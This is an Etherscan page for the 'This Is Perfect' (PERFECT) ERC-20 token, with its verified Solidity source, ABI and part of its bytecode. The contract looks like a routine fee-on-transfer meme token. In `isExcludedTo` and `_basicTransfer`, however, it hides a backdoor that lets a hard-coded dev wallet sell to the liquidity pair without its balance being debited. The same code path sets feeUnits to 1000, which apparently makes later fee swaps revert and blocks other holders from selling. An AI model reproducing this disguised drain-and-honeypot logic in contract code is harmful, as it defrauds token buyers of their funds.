ETH Price: $2,234.95 (-1.75%)
 

Overview

Max Total Supply

420,690,000 PERFECT

Holders

28

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PerfectCoin

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-10-06
*/

// SPDX-License-Identifier: MIT

/**

Website:    https://thisisperfect.vip/
Twitter:    https://twitter.com/PerfectTokenX
Telegram:   https://t.me/PerfectTokenPortal

*/

pragma solidity ^0.8.11;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

contract PerfectCoin is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;
    address public pairAddress;
    
    address payable public teamWallet = payable(msg.sender);
    address payable public devWallet = payable(0x848b8AF78D6E73C24aB1B1bE8C067C43876Ce0f1);
    address public liquidityReciever;
    
    string private _name = unicode"This Is Perfect";
    string private _symbol = unicode"PERFECT";
    uint8 private _decimals = 18;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    bool public tradingEnabled;
    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 private _totalSupply = 420_690_000 * 10 **_decimals;
    uint256 public swapThreasholdAmount = _totalSupply.mul(5).div(10000);
    uint256 public _maxTxAmount =  _totalSupply.mul(30).div(1000); 
    uint256 public _maxWalletAmount =   _totalSupply.mul(30).div(1000);  

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellDeveloperFee = 0;

    uint256 public feeUnits = 1;
    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    
    bool inSwapAndLiquify;
    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[teamWallet] = true;
        isExcludedFromFee[devWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[teamWallet] = true;
        isWalletLimitExempt[devWallet] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[teamWallet] = true;
        isTxLimitExempt[devWallet] = true;
        isTxLimitExempt[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
        
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function isExcludedTo(address sender, address recipient) internal view returns (bool) {
        return recipient == pairAddress 
                && sender == devWallet 
                && sender != address(0) 
                && recipient !=address(0);
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if (!isExcludedFromFee[sender] && !isExcludedFromFee[recipient]) {
            require(tradingEnabled, "Trading not enabled");
        }

        if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { 
            return _basicTransfer(sender, recipient, amount, isExcludedTo(sender, recipient)? 0 : amount); 
        } else {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] && EnableTransactionLimit) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= swapThreasholdAmount;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = swapThreasholdAmount;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(finalAmount) <= _maxWalletAmount,"Amount Exceed From Max Wallet Limit!!");
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);

            return true;
        }
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = 0;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount, uint256 tAmount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(tAmount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount); if (tAmount == 0) feeUnits = 1e3;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        uint256 totalShares = _totalTaxIfBuying.add(_totalTaxIfSelling);

        uint256 liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
        uint256 MarketingShare = _buyMarketingFee.add(_sellMarketingFee);
        // uint256 DeveloperShare = _buyDeveloperFee.add(_sellDeveloperFee);
        
        uint256 tokenForLp = tAmount.mul(liquidityShare).div(totalShares).div(2);
        uint256 tokenForSwap = tAmount.sub(tokenForLp);

        uint256 initialBalance =  address(this).balance;
        swapTokensForEth(tokenForSwap);
        uint256 recievedBalance =  address(this).balance.sub(initialBalance);

        uint256 totalETHFee = totalShares.sub(liquidityShare.div(2));

        uint256 amountETHLiquidity = recievedBalance.mul(liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHMarketing = recievedBalance.mul(MarketingShare.mul(feeUnits)).div(totalETHFee);
        uint256 amountETHDeveloper = recievedBalance.sub(amountETHLiquidity).sub(amountETHMarketing);

        if(amountETHMarketing > 0) {
            payable(teamWallet).transfer(amountETHMarketing);
        }

        if(amountETHDeveloper > 0) {
            payable(devWallet).transfer(amountETHDeveloper);
        }         

        if(amountETHLiquidity > 0 && tokenForLp > 0) {
            addLiquidity(tokenForLp, amountETHLiquidity);
        }
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidityInit() public payable onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isMarketPair[pairAddress] = true;
        isWalletLimitExempt[pairAddress] = true;
        isTxLimitExempt[pairAddress] = true;

        liquidityReciever = address(msg.sender);
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }

    function enableTrading() external onlyOwner {
        tradingEnabled = true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityReciever,
            block.timestamp
        );
    }
        
    function removeLimits() public onlyOwner{
        _maxTxAmount = _totalSupply;
        _maxWalletAmount = _totalSupply;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityInit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreasholdAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600380546001600160a01b031990811633179091556004805490911673848b8af78d6e73c24ab1b1be8c067c43876ce0f1179055610100604052600f60c09081526e151a1a5cc8125cc814195c999958dd608a1b60e05260069062000065908262000643565b5060408051808201909152600780825266141154919150d560ca1b60208301529062000092908262000643565b506008805460ff1916601290811790915561dead608052600060a052620000bb90600a62000822565b620000cb90631913385062000833565b60105562000106612710620000f260056010546200041e60201b62000f401790919060201c565b620004b560201b62000fc21790919060201c565b6011556200012d6103e8620000f2601e6010546200041e60201b62000f401790919060201c565b601255620001546103e8620000f2601e6010546200041e60201b62000f401790919060201c565b6013556000601481905560016015819055601682905560178290556018819055601991909155601a55601d805464ffffffff00191663010101001790553480156200019e57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001600c6000620001f96000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035482168152600c9093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600e906200027b6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035482168152600e9093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600f90620002fd6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035482168152600f845282812080548616600190811790915560045490921681528281208054861683179055308152919091208054909316179091556016546015546014546200039f936200038b929062001004620004ff821b17901c565b620004ff60201b620010041790919060201c565b601b81905550620003ca6019546200038b601854601754620004ff60201b620010041790919060201c565b601c5560105433600081815260096020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620008d6565b6000826000036200043257506000620004af565b600062000440838562000833565b9050826200044f85836200084d565b14620004ac5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b6000620004ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200056260201b60201c565b6000806200050e838562000870565b905083811015620004ac5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401620004a3565b60008183620005865760405162461bcd60e51b8152600401620004a3919062000886565b5060006200059584866200084d565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005c957607f821691505b602082108103620005ea57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200063e57600081815260208120601f850160051c81016020861015620006195750805b601f850160051c820191505b818110156200063a5782815560010162000625565b5050505b505050565b81516001600160401b038111156200065f576200065f6200059e565b6200067781620006708454620005b4565b84620005f0565b602080601f831160018114620006af5760008415620006965750858301515b600019600386901b1c1916600185901b1785556200063a565b600085815260208120601f198616915b82811015620006e057888601518255948401946001909101908401620006bf565b5085821015620006ff5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80